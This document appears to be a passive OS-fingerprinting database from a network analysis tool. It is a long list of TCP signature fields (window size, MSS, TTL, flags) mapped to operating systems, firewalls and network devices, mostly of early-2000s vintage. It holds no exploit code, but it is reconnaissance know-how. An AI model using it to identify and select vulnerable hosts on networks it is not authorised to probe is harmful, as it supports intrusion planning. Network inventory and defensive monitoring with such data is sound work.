2017:_MSS:80:00:0:1:1:1:A:LT:BSDI 4.0-4.0.1 2017:_MSS:80:WS:0:0:0:0:A:LT:CacheOS (CacheFlow 500-5000 webcache) CFOS 2.1.08 - 2.2.1 2017:_MSS:80:WS:0:0:1:0:A:LT:3Com NetBuilder & NetBuilder II OS v 9.3 2058:0564:40:WS:0:0:1:0:A:2C:BSDi BSD/OS 4.0.1 2058:0564:80:WS:0:0:0:0:A:2C:Windows NT 2058:0564:80:WS:0:0:1:0:A:2C:Windows 2000 / NT / Win9x 2058:05B4:80:WS:1:1:1:0:A:LT:Windows 98 SE 2058:6405:80:WS:0:0:1:0:A:LT:Windows 20D0:0578:40:00:1:1:1:1:A:40:Windows 20D0:0578:80:WS:0:0:1:0:A:2C:Windows NT 4.0 Server 2118:0584:80:WS:0:0:0:0:A:2C:Checkpoint FW-1 4.1 on Solaris 2.6 2120:_MSS:80:WS:0:0:1:0:A:LT:Gauntlet 4.0a firewall on Solaris 2.5.1 2130:0588:80:WS:1:1:1:0:A:30:Windows 98 SE 2142:058B:40:00:1:1:1:1:A:40:Windows NT 2180:0218:80:00:1:1:1:1:S:40:Windows XP SP2 2180:0218:80:WS:1:1:1:0:A:30:Windows 98 2180:05B0:80:WS:0:0:1:0:A:2C:Windows NT - Windows 9x 2180:05B4:20:WS:0:0:1:0:A:2C:Windows XP 2180:05B4:80:00:1:1:1:1:S:40:Windows 9x 2180:05B4:80:WS:0:0:1:0:A:2C:Windows NT / Win9x 2180:_MSS:20:WS:0:0:1:0:A:LT:Windows NT / Win9x 2180:_MSS:40:WS:0:0:1:0:A:LT:BSDI BSD/OS 2190:05B4:20:WS:0:0:1:0:A:LT:Windows NT / Win9x 2190:05B4:80:WS:0:0:1:0:A:LT:Windows NT / Win9x 21D2:05B4:80:WS:0:0:1:0:A:LT:Windows NT / Win9x 21F0:05B4:80:00:1:1:1:1:A:40:vXWorks 21F0:05B4:80:WS:0:0:1:0:A:LT:Windows NT 4.0 2200:_MSS:80:00:0:1:0:0:A:LT:Stock OpenVMS 7.1 2200:_MSS:80:00:0:1:0:1:A:LT:Stock OpenVMS 7.1 2200:_MSS:80:00:0:1:1:0:A:LT:OpenVMS 6.2/Alpha 2200:_MSS:80:00:0:1:1:1:A:LT:OpenVMS 6.2/Alpha 2200:_MSS:80:WS:0:0:0:0:A:LT:Linux 2.0.34-38 2208:05AC:40:WS:1:1:1:0:A:30:Linux 2208:05B4:80:WS:0:0:1:0:A:2C:Windows NT 2208:05B4:80:WS:1:1:1:0:A:30:Windows 98 SE 2220:05B0:80:WS:1:1:1:0:A:30:Windows NT 2220:_MSS:40:WS:0:0:1:0:A:LT:BSDI BSD/OS 2220:_MSS:80:WS:0:0:1:0:A:LT:Windows NT / Win9x 2229:_MSS:80:00:0:0:1:0:A:LT:Solaris 2.5, 2.5.1 2229:_MSS:80:WS:0:0:0:0:A:LT:DG/UX Release R4.11MU02 2229:_MSS:80:WS:0:0:1:0:A:LT:Solaris 2.3 - 2.4 2238:0218:40:WS:1:1:1:0:A:30:Windows 98 2238:0218:80:WS:1:1:1:0:S:30:Windows 2000 Pro 2238:0550:80:WS:1:1:1:0:S:LT:Linux 2238:0564:80:WS:0:0:1:0:A:30:Solaris 2.7 2238:0564:80:WS:1:1:1:0:S:30:Solaris 2238:0564:FF:00:0:0:1:0:S:2C:Solaris 2.7 2238:0584:80:WS:0:0:1:0:A:30:Linux Red Hat 2238:05AC:40:WS:0:0:0:0:A:2C:Windows 98 2238:05B4:20:WS:0:0:0:0:A:LT:Snap Server (Quantum) 2238:05B4:20:WS:0:0:1:0:A:2C:Microsoft Windows 95 2238:05B4:20:WS:1:1:1:0:S:30:Windows 98 2238:05B4:40:00:0:0:1:0:S:LT:Solaris 2.6 2238:05B4:40:00:0:1:0:0:A:30:Hp jetDirect 2238:05B4:40:00:0:1:0:1:A:3C:SMC Barricade SMC7004VWBR 2238:05B4:40:00:0:1:1:1:A:3C:IRIX 2238:05B4:40:00:0:1:1:1:A:LT:BSDI BSD/OS 3.0 2238:05B4:40:00:1:1:1:1:A:40:Cisco IOS 2238:05B4:40:WS:0:0:0:0:A:2C:Linksys WAP11 2238:05B4:40:WS:0:0:1:0:A:2C:Cisco IOS 2238:05B4:40:WS:0:0:1:0:A:LT:BSDI BSD/OS 3.0-3.1 (or possibly MacOS, NetBSD) 2238:05B4:40:WS:1:1:1:0:A:30:Windows NT4 2238:05B4:40:WS:1:1:1:0:S:30:Windows XP SP1 + Sygate Personal Firewall 2238:05B4:80:00:1:1:1:1:A:40:Windows 98 2238:05B4:80:WS:0:0:0:0:A:2C:Windows NT 4.x 2238:05B4:80:WS:0:0:1:0:A:2C:Windows NT 4.x / Win9x 2238:05B4:80:WS:0:0:1:0:A:30:Windows 2238:05B4:80:WS:1:1:0:0:A:30:Windows 98 2238:05B4:80:WS:1:1:1:0:A:30:Windows 98 / 2000 / XP 2238:05B4:80:WS:1:1:1:0:S:30:Windows 2000 - XP SP1 2238:05B4:FF:00:0:0:1:0:S:2C:Solaris 2.6 or 2.7 2238:05B4:FF:00:0:1:0:0:A:30:SunOS 5.7 2238:05B4:FF:00:0:1:1:0:A:30:SunOS 5.7 2238:05B4:FF:WS:0:0:1:0:A:2C:SunOS 5.7 2238:05B4:FF:WS:0:0:1:0:A:LT:OpenBSD 2238:05B4:FF:WS:0:0:1:0:S:2C:SunOS 5.7 Generic sun4u sparc 2238:05B4:FF:WS:0:1:1:0:S:2C:Solaris 2.6 or 2.7 2238:05B4:FF:WS:1:0:1:0:S:2C:Solaris 2.6 - 2.7 2238:05B4:FF:WS:1:1:1:0:A:30:SunOS 5.7 2238:1128:80:WS:0:0:1:0:A:2C:Novell Netware 2238:1144:80:WS:0:0:1:0:A:2C:Windows NT 4.0 2238:9805:80:00:0:1:0:1:A:3C:Windows XP Professional 2238:B405:20:WS:0:0:1:0:A:2C:Windows 95 2238:B405:40:00:0:1:1:1:A:3C:Windows 2000 / XP 2238:B405:80:00:0:1:1:1:A:3C:Windows 95 2238:B405:80:WS:0:0:1:0:A:2C:Windows 2000 2238:B405:FF:00:0:1:1:0:A:LT:Solaris 2238:B405:FF:WS:0:0:0:0:A:2C:Solaris 2.5.1 2238:B405:FF:WS:0:0:1:0:A:LT:Solaris 2.5.1 2238:B405:FF:WS:0:0:1:0:S:LT:Solaris 7 2238:_MSS:40:WS:0:0:1:0:A:LT:BSDI BSD/OS 2238:_MSS:80:WS:0:0:0:0:A:LT:HP printer w/JetDirect card 223F:05AC:FF:WS:0:0:0:0:A:2C:Windows 98 223F:05B4:FF:WS:0:0:0:0:A:2C:Solaris 2.6 223F:7805:FF:WS:0:0:0:0:A:LT:Solaris 2274:04EC:80:WS:1:1:1:0:A:30:Windows 98 2274:04EC:FF:WS:1:1:1:0:A:30:Symantec Raptor Firewall 2274:0564:80:WS:0:0:1:0:A:2C:PIX FireWall 2284:114E:40:00:1:1:1:1:A:3C:Solaris 2297:0109:FF:00:0:1:1:1:A:3C:Solaris 2.6 -7 (SPARC) 2297:_MSS:80:00:0:1:1:0:A:LT:Raptor Firewall 6 on Solaris 2.6 2297:_MSS:80:00:0:1:1:1:A:LT:Raptor Firewall 6 on Solaris 2.6 2328:_MSS:FF:WS:0:0:1:0:A:LT:Solaris 2.6 - 2.7 2332:_MSS:80:00:0:0:1:0:A:LT:Solaris 2.3 - 2.4 2332:_MSS:80:WS:0:0:0:0:A:LT:Solaris 2.4 w/most Sun patches 2332:_MSS:80:WS:0:0:1:0:A:LT:Solaris 2.3 - 2.4 2398:0218:FF:WS:0:0:1:0:A:2C:SunOS 5.6 239C:_MSS:80:WS:0:0:0:0:A:LT:Apollo Domain/OS SR10.4 23B4:23B4:FF:00:0:0:1:0:S:LT:Solaris 2.6 2400:_MSS:FF:WS:0:0:1:0:A:LT:Solaris 2.6 - 2.7 246C:0534:80:WS:0:0:1:0:A:2C:Windows NT 4.0 2491:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 with tcp_strong_iss=0 2491:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 with tcp_strong_iss=0 2530:0550:80:WS:1:1:1:0:A:30:windows 98 2530:05B4:80:WS:0:0:1:0:A:LT:Windows 2000 2544:_MSS:80:00:0:0:1:0:A:LT:Solaris 2.3 - 2.4 2568:0564:FF:00:1:1:1:1:A:40:Solaris 8 2568:0564:FF:WS:0:1:0:1:A:38:Solaris 2568:0564:FF:WS:1:1:1:1:A:3C:Solaris 2580:05AC:80:WS:1:1:1:0:A:30:Windows 2000 Sp3 (Build2195) 25BC:0564:FF:WS:0:0:1:0:A:2C:Windows 25BC:0564:FF:WS:0:0:1:0:A:LT:Solaris 25BC:0564:FF:WS:1:1:1:0:A:30:Solaris 2648:0584:FF:00:1:1:1:1:A:40:Windows 2000 NT 2648:8405:FF:00:0:1:1:1:A:LT:Solaris 26E2:058E:FF:WS:1:1:1:0:A:30:SunOS 5.7 2756:_MSS:80:WS:0:0:0:0:A:LT:AmigaOS AmiTCP/IP Genesis 4.6 2760:05AC:FF:00:1:1:1:1:A:40:Solaris 7 2788:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 2788:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 2798:05B4:FF:00:0:1:1:0:A:LT:Solaris 2798:05B4:FF:00:0:1:1:1:A:3C:Solaris 2.6 / SunOS 5.6 2798:05B4:FF:00:1:1:1:1:A:40:SunOS 5.7 2798:B405:FF:00:0:1:0:1:A:3C:Solaris 6 2798:B405:FF:00:0:1:1:1:A:3C:Solaris 7 2798:_MSS:FF:WS:0:0:1:0:A:LT:Solaris 2.6 - 2.7 2800:05B4:80:WS:0:0:0:0:S:2C:Tiptel Innovaphone IP200 V4.00 sr4 2800:05B4:80:WS:1:1:1:0:S:30:Windows XP Professional SP1 2A20:0550:FF:00:0:1:1:1:A:3C:SunOS 5.6 sum4m sparc SUNW,SPARCstation-20 2D24:_MSS:80:00:0:1:1:1:A:LT:Linux Kernel 2.4.xx (X86) 2D25:_MSS:80:WS:0:0:0:0:A:LT:Mac OS 7.0-7.1 With MacTCP 1.1.1 - 2.0.6 2DA0:B405:40:00:0:1:0:0:A:30:HPirect J6039A 2DA0:_MSS:80:WS:0:0:0:0:A:LT:Windows 98SE + IE5.5sp1 3000:05B4:FF:WS:0:0:0:0:A:2C:BeOS 3000:05B4:FF:WS:0:0:0:0:S:2C:BeOS 5.0 3000:05B4:FF:WS:0:1:0:0:S:2C:BeOS 5.0 3000:_MSS:80:WS:0:0:0:0:A:LT:Acorn Risc OS 3.6 (Acorn TCP/IP Stack 4.07) 37FF:_MSS:80:WS:0:0:0:0:A:LT:Linux 1.2.13 3840:0564:40:WS:0:0:0:0:S:2C:Windows 98 3908:05B4:40:00:1:1:0:1:S:40:HPUX 11.11 3908:05B4:40:00:1:1:1:1:A:3C:IPCop v1.2.0 3908:05B4:40:WS:1:1:0:0:S:30:Windows 98 SE 3908:05B4:40:WS:1:1:1:0:A:30:Linux Debian 3908:05B4:40:WS:1:1:1:0:S:30:windows 2000 Professional 3908:05B4:80:WS:1:1:1:0:A:30:Linux 2.0.3 3C00:_MSS:80:WS:0:0:0:0:A:LT:Linux 2.0.27 - 2.0.30 3C0A:_MSS:80:00:0:1:1:0:A:LT:Linux 2.1.19 - 2.2.17 3C0A:_MSS:80:00:0:1:1:1:A:LT:Linux 2.1.19 - 2.2.17 3CAC:0584:40:00:1:1:1:1:A:3C:Linux 2.2.16 3E43:_MSS:80:00:0:1:0:0:A:LT:AIX 4.1-4.1.5 3E43:_MSS:80:00:0:1:0:1:A:LT:AIX 4.1-4.1.5 3E64:05AC:40:00:0:1:1:1:A:3C:Debian 3.0 3E64:05AC:40:00:1:1:1:0:S:3C:Windows 98 3E64:05AC:40:00:1:1:1:1:A:4C:Linux 2.2.x 2.4.x 3E64:05AC:40:00:1:1:1:1:S:3C:Linux Debian 3.0 (kernel 2.2) 3E64:05AC:40:WS:1:1:1:0:A:30:Debian GNU/Linux 3.0 R4 \"Woody\" 3E80:0584:40:WS:0:0:0:0:A:2C:HM210di Configuration Manager GUI 3E80:05A6:80:WS:0:0:0:0:A:2C:Windows xp 3E80:05B4:FF:WS:0:0:0:0:A:2C:CiscoATA-186 3E80:_MSS:80:WS:0:0:0:0:A:LT:Alcatel Advanced Reflexes IP Phone, Version: E/AT400/46.8 3E80:_MSS:80:WS:0:0:1:0:A:LT:VersaNet ISP-Accelerator(TM) Remote Access Server 3EBC:05B4:40:00:1:1:0:1:A:3C:Linux 2.2.17 GNU Debian/Potato 3EBC:05B4:40:00:1:1:1:0:A:34:Linux Slackware 8.0 3EBC:05B4:40:00:1:1:1:0:S:3C:Debian/Caldera Linux 2.2.x 3EBC:05B4:40:00:1:1:1:1:A:3C:Linux 2.2.19 or 2.4.17 3EBC:05B4:40:00:1:1:1:1:S:3C:Linux 2.2.16 - 2.2.19 3EBC:05B4:40:WS:0:0:0:0:A:2C:AIX 4.3.2 3EBC:05B4:40:WS:0:0:1:0:A:2C:AIX 4.3 3EBC:05B4:40:WS:0:0:1:0:A:LT:Debian GNU/Linux 3EBC:05B4:40:WS:1:1:1:0:A:30:Linux 2.2.19 3EBC:05B4:40:WS:1:1:1:0:A:LT:Linux 2.2.19 3EBC:05B4:80:WS:0:0:0:0:A:2C:Novell Netware 3EBC:B405:40:00:1:1:1:1:S:LT:Slackware Linux v7.1 - Linux Kernel 2.2.16 3ED0:0218:40:WS:0:0:1:0:A:LT:Linux Slackware 8.0 3F20:0650:40:00:1:1:1:1:S:3C:Linux 2.2.19 3F25:0109:40:00:0:1:1:1:A:3C:Linux 2.2.17 - 2.2.19 3F25:_MSS:80:00:0:1:0:0:A:LT:AIX 4.3.2.0-4.3.3.0 on an IBM RS/* 3F25:_MSS:80:00:0:1:0:1:A:LT:AIX 4.3.2.0-4.3.3.0 on an IBM RS/* 3F25:_MSS:80:00:0:1:1:0:A:LT:Linux 2.1.19 - 2.2.17 3F25:_MSS:80:00:0:1:1:1:A:LT:Linux 2.1.19 - 2.2.17 3F25:_MSS:80:WS:0:0:0:0:A:LT:AIX 3.2 3F25:_MSS:80:WS:0:0:1:0:A:LT:Linux 2.2.19 3FE0:05B4:40:WS:0:0:0:0:A:2C:Caldera OpenLinux(TM) 1.3 / RedHat 7.2 / FreeSCO 0.2.7 3FE0:_MSS:80:00:0:0:0:0:A:LT:Linux 2.0.32-34 3FF0:_MSS:80:00:0:0:0:0:A:LT:Linux 2.0.34-38 3FF0:_MSS:80:WS:0:0:0:0:A:LT:AtheOS ( www.atheos.cx ) 3FFF:_MSS:80:WS:0:0:0:0:A:LT:IBM MVS (unknown version) 4000:0000:40:WS:0:0:0:0:S:LT:ULTRIX V4.5 (Rev. 47) 4000:01F4:80:WS:1:1:0:0:A:30:Windows 4000:0200:40:00:0:0:0:0:S:2C:AIX 3.2, 4.2 - 4.3 4000:0200:40:00:0:1:0:0:S:3C:OpenBSD 2.6-2.8 4000:0200:40:00:0:1:0:1:A:3C:IPSO 3.3 / Net BSD 1.5.2 4000:0200:40:00:0:1:0:1:S:LT:OpenBSD 4000:0200:40:00:1:1:0:1:S:LT:FreeBSD 4000:0200:40:WS:0:0:0:0:A:2C:AIX 4.3 4000:0200:40:WS:0:0:0:0:S:LT:BorderWare 5.2 4000:0200:FF:WS:0:0:0:0:A:2C:Windows 2000 4000:0218:80:00:1:1:1:1:S:LT:Windows XP Home 4000:023C:40:00:1:1:1:0:S:40:OpenBSD 3.0 4000:023C:80:WS:1:1:1:0:S:30:Windows NT SP4+ 4000:0400:40:00:0:1:0:1:A:3C:IPSO 3.7 4000:0400:40:WS:0:0:0:0:A:2C:Xerox 440 Document center 4000:04EC:80:WS:1:1:1:0:S:30:Windows 2000 4000:04F8:80:WS:1:1:1:0:S:30:Windows NT SP3 4000:0528:80:WS:1:1:1:0:S:30:Windows XP pro 4000:052A:80:WS:1:1:0:0:S:30:Windows 2000 Server 4000:0530:80:WS:1:1:1:0:S:30:Windows 2000 4000:0534:80:WS:1:1:1:0:S:30:Windows 2000 4000:0542:80:WS:1:1:1:0:S:30:Windows ME 4000:0550:40:WS:0:0:0:0:A:2C:Windows 2000 4000:0550:40:WS:0:0:1:0:A:2C:NetBSD 4000:0550:80:WS:0:0:0:0:A:2C:Mac OS 4000:0550:80:WS:0:0:1:0:A:2C:Windows 2000 4000:0550:80:WS:1:1:1:0:S:30:Windows 2000 4000:0556:80:WS:1:1:1:0:S:30:Windows XP 4000:0562:80:WS:1:1:1:0:S:30:Windows 2000 4000:0564:80:WS:1:1:0:0:S:30:Windows 2000 4000:0564:80:WS:1:1:1:0:S:30:Windows 2000 / Windows XP Sp2 4000:0578:40:00:0:1:0:1:A:3C:NetBSD 1.6 4000:0578:40:00:1:1:1:1:S:40:OpenBSD 3.0 4000:0578:80:WS:1:1:1:0:S:30:Windows 2000 4000:0578:FF:00:1:1:0:1:A:40:Windows 2000 / 2003 4000:057A:80:WS:1:1:1:0:S:30:Windows 2000 4000:057E:80:WS:1:1:1:0:S:30:Windows XP (Home) 4000:0582:80:WS:1:1:1:0:S:30:Microsoft Windows 2000 Professional SP4 4000:0584:20:WS:1:1:0:0:S:30:Windows ME 4000:0584:80:00:1:1:0:1:A:40:Windows 4000:0584:80:WS:1:1:1:0:S:30:Windows 2000 4000:0586:80:WS:1:1:1:0:S:30:Windows 2000 4000:0588:80:WS:1:1:1:0:S:30:Windows ME 4000:058A:80:WS:1:1:1:0:S:30:Windows 2000 4000:058C:80:WS:1:1:1:0:S:30:Free BSD 4000:0596:80:WS:1:1:1:0:S:30:Linux Red Hat 4000:0598:40:WS:0:0:0:0:A:2C:Linux Debian 3.0 4000:0598:40:WS:1:1:0:0:A:30:Windows 4000:0598:80:00:1:1:1:1:S:40:Windows XP 4000:0598:80:WS:1:1:1:0:S:30:Windows 2000 4000:05A0:80:WS:1:1:1:0:S:30:Windows XP Pro 4000:05A4:80:WS:1:1:1:0:S:30:Windows 4000:05AC:40:00:1:1:1:1:S:40:OpenBSD 3.1 4000:05AC:80:WS:1:1:0:0:A:30:Windows 2000 4000:05AC:80:WS:1:1:1:0:S:30:Windows 2000 / XP 4000:05B0:80:WS:1:1:1:0:S:30:Window 2000 pro. SP2 4000:05B4:01:WS:1:1:1:0:S:30:Windows 2003 4000:05B4:20:WS:1:1:1:0:S:30:Windows 4000:05B4:40:00:0:0:1:0:S:2C:FreeBSD 4.0-STABLE, 3.2-RELEASE 4000:05B4:40:00:0:1:0:0:S:3C:NetBSD 1.3/i386 4000:05B4:40:00:0:1:0:1:A:3C:NetBSD 1.5.2 (GENERIC) 4000:05B4:40:00:0:1:0:1:S:3C:NetBSD 1.5 (x86) 4000:05B4:40:00:0:1:1:0:S:2C:FreeBSD 2.2.8-RELEASE 4000:05B4:40:00:0:1:1:0:S:3C:Linux 2.4.2 - 2.4.14 4000:05B4:40:00:0:1:1:0:S:44:FreeBSD 4.3 - 4.4PRERELEASE 4000:05B4:40:00:0:1:1:0:S:LT:FreeBSD 2.2.8-RELEASE 4000:05B4:40:00:0:1:1:1:A:3C:NetBSD 1.6U 4000:05B4:40:00:0:1:1:1:S:3C:FreeBSD 4.4 4000:05B4:40:00:1:1:0:1:S:40:OpenBSD 3.2 4000:05B4:40:00:1:1:1:1:A:40:OpenBSD 3.5 4000:05B4:40:00:1:1:1:1:S:40:OpenBSD 3.0 4000:05B4:40:00:1:1:1:1:S:48:Amiga OS / Miami Deluxe 1.0c 4000:05B4:40:5E:0:1:1:0:S:2C:FreeBSD 4.0-STABLE, 3.2-RELEASE 4000:05B4:40:62:0:0:1:0:S:2C:FreeBSD 4.0-STABLE, 3.2-RELEASE 4000:05B4:40:70:0:0:1:0:S:2C:FreeBSD 4.0-STABLE, 3.2-RELEASE 4000:05B4:40:WS:0:0:0:0:A:2C:NetBSD 1.3 - 1.33 / AIX 4.3.X 4000:05B4:40:WS:0:0:0:0:S:2C:AIX 4.3 - 4.3.3 4000:05B4:40:WS:0:0:1:0:A:2C:NetBSD 4000:05B4:40:WS:0:0:1:0:S:2C:FreeBSD 4.2 - 4.3 4000:05B4:40:WS:1:1:0:0:A:30:Windows 4000:05B4:40:WS:1:1:1:0:S:30:Windows 2000 sp3 4000:05B4:80:00:0:1:1:1:A:LT:Linux Kernel 2.4.xx (X86) 4000:05B4:80:00:1:1:0:1:A:40:Windows Server 2003 4000:05B4:80:00:1:1:1:0:S:30:Windows 2000 4000:05B4:80:00:1:1:1:1:A:40:Windows 2000 4000:05B4:80:00:1:1:1:1:S:40:Windows 2000 Pro 4000:05B4:80:4B:1:1:1:0:S:30:Windows ME 4000:05B4:80:WS:0:0:0:0:A:2C:Windows 2000 4000:05B4:80:WS:0:0:0:0:S:2C:Windows Longhorn 4000:05B4:80:WS:0:0:1:0:A:2C:Windows 2000 4000:05B4:80:WS:0:1:1:0:S:30:Windows XP 4000:05B4:80:WS:1:1:0:0:A:30:Windows Server 2003 4000:05B4:80:WS:1:1:0:0:S:30:Windows 2000 4000:05B4:80:WS:1:1:0:0:S:LT:BeOS 4000:05B4:80:WS:1:1:1:0:A:30:Windows XP 4000:05B4:80:WS:1:1:1:0:S:30:Windows ME / 2000 / XP 4000:05B4:80:WS:1:1:1:0:S:3C:Linux RedHat 7.2 (kernel 2.4.9) 4000:05B4:80:WS:1:1:1:0:S:LT:Windows XP / 2000 / ME 4000:05B4:FF:00:0:1:1:0:S:LT:FreeBSD 2.2.6-RELEASE 4000:05B4:FF:WS:0:0:0:0:A:LT:Cisco Systems IOS 11.3 4000:05B4:FF:WS:1:1:1:0:S:30:Windows 2000 4000:0650:40:00:0:1:1:1:A:3C:NetBSD 1.6 4000:0FB0:80:WS:1:1:1:0:S:LT:Windows 2000 Professional 4000:3605:80:WS:1:1:1:0:S:30:Windows XP 4000:5005:40:WS:0:0:0:0:A:2C:Mac OS X 4000:5005:80:WS:0:0:0:0:A:2C:Windows 2000 4000:62BB:80:WS:1:1:1:0:S:LT:Windows 2000 4000:B405:40:00:0:1:0:1:A:3C:NetBSD 1.5 4000:B405:40:00:0:1:1:1:S:LT:FreeBSD 4000:B405:80:00:0:1:0:1:A:3C:Windows Server 2003 4000:B405:80:WS:1:1:1:0:S:30:Windows XP / 2000 / ME 4000:B405:80:WS:1:1:1:0:S:LT:Windows XP - 2000 4000:D84A:80:WS:1:1:1:0:S:30:Windows 2000 4000:_MSS:80:00:0:0:0:0:A:LT:IBM MVS (unknown version) 4000:_MSS:80:00:0:0:1:0:A:LT:OpenVMS 7.1 using Process Software's TCPWare 5.3 4000:_MSS:80:00:0:1:0:0:A:LT:Check Point FireWall-1 4.0 SP-5 (IPSO build) 4000:_MSS:80:00:0:1:0:1:A:LT:Check Point FireWall-1 4.0 SP-5 (IPSO build) 4000:_MSS:80:WS:0:0:0:0:A:LT:Auspex Fileserver (AuspexOS 1.9.1/SunOS 4.1.4) 4000:_MSS:80:WS:0:0:0:0:S:28:Windows XP 4000:_MSS:80:WS:0:0:1:0:A:LT:AmigaOS Miami 3.0 4020:0564:40:00:0:1:0:1:A:3C:OpenBSD 402E:0218:80:00:0:1:1:1:A:3C:Windows Millenium 402E:05B4:80:00:0:1:0:1:A:3C:Linux 402E:05B4:80:00:0:1:1:1:A:3C:Windows 2000 Professional / Windows XP 402E:5005:80:00:0:1:1:1:A:3C:Windows XP / 2000 / ME 402E:B405:40:WS:0:0:1:0:A:LT:Free BSD 4.1.1 - 4.3 X86 402E:_MSS:80:00:0:1:0:0:A:LT:FreeBSD 2.1.0 - 2.1.5 402E:_MSS:80:00:0:1:0:1:A:LT:FreeBSD 2.1.0 - 2.1.5 402E:_MSS:80:00:0:1:1:0:A:LT:D-Link DI-701, Version 2.22 402E:_MSS:80:00:0:1:1:1:A:LT:D-Link DI-701, Version 2.22 402E:_MSS:80:WS:0:0:0:0:A:LT:OpenBSD 2.1/X86 402E:_MSS:80:WS:0:0:1:0:A:LT:AmigaOS Miami 2.1-3.0 402E:_MSS:80:WS:0:1:1:0:A:LT:Windows XP Professional Release 403D:_MSS:80:00:0:1:0:0:A:LT:FreeBSD 2.1.0 - 2.1.5 403D:_MSS:80:00:0:1:0:1:A:LT:FreeBSD 2.1.0 - 2.1.5 403D:_MSS:80:00:0:1:1:0:A:LT:Acorn RiscOS 3.7 using AcornNet TCP/IP stack 403D:_MSS:80:00:0:1:1:1:A:LT:Acorn RiscOS 3.7 using AcornNet TCP/IP stack 4074:01F4:40:00:0:1:0:1:A:3C:OpenBSD 3.2 4074:_MSS:40:WS:0:0:0:0:A:LT:OpenBSD 2.x 4088:05B4:40:WS:0:0:1:0:A:LT:FreeBSD 40B0:0564:80:WS:1:1:1:0:A:30:Windows 2000 (firewalled) 40B0:05B4:40:WS:0:0:1:0:A:2C:FreeBSD 4.3 40E8:0218:80:WS:1:1:1:0:A:LT:Windows ME 40E8:04EC:80:WS:0:0:1:0:A:2C:Windows 2000 Pro 40E8:0584:80:WS:0:0:1:0:A:2C:Windows 2000 40E8:05B4:40:00:1:1:0:1:A:40:Windows 40E8:05B4:80:WS:0:0:1:0:A:2C:Windows 2000 Server 40E8:05B4:80:WS:1:1:1:0:A:30:Windows XP 40E8:05B4:FF:00:0:0:1:0:S:30:Mac OS 7.x-9.x 40E8:B405:80:WS:0:0:1:0:A:2C:Windows 2000 40E8:B405:FF:00:0:0:1:0:S:LT:Mac OS 8.6 4150:_MSS:40:WS:0:0:1:0:A:LT:Cisco Localdirector 430, running OS 2.1 41A0:0578:80:00:1:1:1:1:A:40:Windows XP SP1 41A0:0584:40:00:1:1:1:1:A:40:Windos XP 41B8:05B4:80:WS:1:1:1:0:A:30:Windows 2000 server 41E8:057E:80:00:1:1:1:1:A:40:Windows 2000 4230:0584:80:00:1:1:0:1:A:40:Linux 4230:0584:80:00:1:1:1:1:A:40:Windows 2000 Server 4230:0584:80:WS:1:1:0:0:A:30:Windows 2000 Server 4230:0584:80:WS:1:1:1:0:A:30:Windows 2000 Server 4230:05B4:80:WS:1:1:1:0:A:30:Windows XP 4238:0518:40:WS:0:0:0:0:S:2C:Xbox 4240:05B4:40:04:1:1:1:0:S:34:Windows XP 4240:05B4:80:04:1:1:1:0:S:34:Windows 2000 Pro 4240:B405:80:04:1:1:1:0:S:34:Windows XP 4240:_MSS:80:00:0:0:1:0:A:LT:MacOS 8.1 4248:0586:80:00:1:1:1:1:A:40:GNU / Olli OS 4248:0586:80:WS:1:1:1:0:A:30:Windows 2000 server 4290:058C:40:WS:0:0:1:0:A:2C:Windows 2000 4290:05B4:80:WS:1:1:1:0:A:30:Windows 2000 Pro SP3 4322:052A:40:WS:0:0:1:0:A:2C:Windows 4322:05B4:80:WS:1:1:1:0:A:30:Linksys Router 4350:9C05:80:WS:1:1:1:0:A:30:Windows Server 2003 4380:05A0:80:WS:1:1:1:0:A:30:Openbsd 4380:05B4:80:WS:1:1:1:0:A:30:Windows 2003 Server 4380:A005:80:WS:1:1:1:0:A:30:Open BSD 43B0:05A4:80:WS:1:1:1:0:A:30:OpenBSD 2.8 GENERIC 43E0:05B4:40:00:0:1:0:1:A:LT:OpenBSD 2.8 GENERIC 43E0:05B4:40:00:0:1:1:0:A:LT:FreeBSD 4.x 43E0:05B4:40:00:0:1:1:1:A:3C:FreeBSD 4.4-Release 43E0:05B4:40:00:1:1:0:1:A:40:OpenBSD 3.4 43E0:05B4:40:00:1:1:1:1:A:40:OpenBSD 2.9 3.0 43E0:A805:40:00:0:1:0:1:A:LT:OpenBSD 2.6 43E0:B405:40:00:0:1:0:1:A:LT:OpenBSD 2.9 43E0:B405:40:00:0:1:1:1:A:3C:FreeBSD 4.4 / OpenBSD 3.1 43E0:_MSS:40:WS:0:0:0:0:A:LT:OpenBSD 2.x 43E0:_MSS:40:WS:0:0:1:0:A:LT:FreeBSD 2.2.1 - 4.0 43F8:AA05:40:WS:0:0:1:0:A:2C:Free BSD 4410:05AC:40:WS:0:0:1:0:A:2C:OpenBSD 3.0 4410:05AC:40:WS:1:1:1:0:A:30:OpenBSD 3.0 4410:05AC:80:00:1:1:1:1:A:40:Windows 2003 4410:05AC:80:WS:1:1:1:0:A:30:Windows 2000 Workstation / Windows 98 SE 4410:05B4:80:00:1:1:1:0:A:34:Windows 2000 4410:05B4:80:00:1:1:1:1:A:40:Windows 2000 4410:05B4:80:WS:1:1:1:0:A:30:Windows 2000 4431:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 4431:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 4440:05B0:80:00:1:1:1:1:A:40:Windows 2000 (Advanced Server) 4440:05B0:80:WS:1:1:1:0:A:30:Solaris 7 4440:05B4:80:WS:1:1:1:0:A:30:Windows 2000 Terminal Server 4440:05B4:80:WS:1:1:1:0:A:LT:Solaris 7 4452:_MSS:80:00:0:0:1:0:A:LT:Solaris 2.5, 2.5.1 4470:05B4:40:00:0:1:0:1:A:3C:Windows 2000 4470:05B4:40:00:0:1:1:1:A:3C:WINDOWS 2000 4470:05B4:40:00:1:1:0:0:A:LT:Windows 2000 4470:05B4:40:00:1:1:0:1:A:40:Windows NT 4470:05B4:40:00:1:1:1:0:A:34:OpenBSD 3.0 4470:05B4:40:00:1:1:1:1:A:3C:Linux 4470:05B4:40:00:1:1:1:1:A:40:Windows NT 4470:05B4:40:WS:0:0:0:0:A:LT:FreeBSD NFR Network Flight Recorder 4470:05B4:40:WS:0:0:1:0:A:2C:FreeBSD 4.2 / FreeBSD 3.4-STABLE 4470:05B4:40:WS:1:1:0:0:A:30:OpenBSD 2.8 4470:05B4:40:WS:1:1:1:0:A:30:OpenBSD 3.0 - 3.1 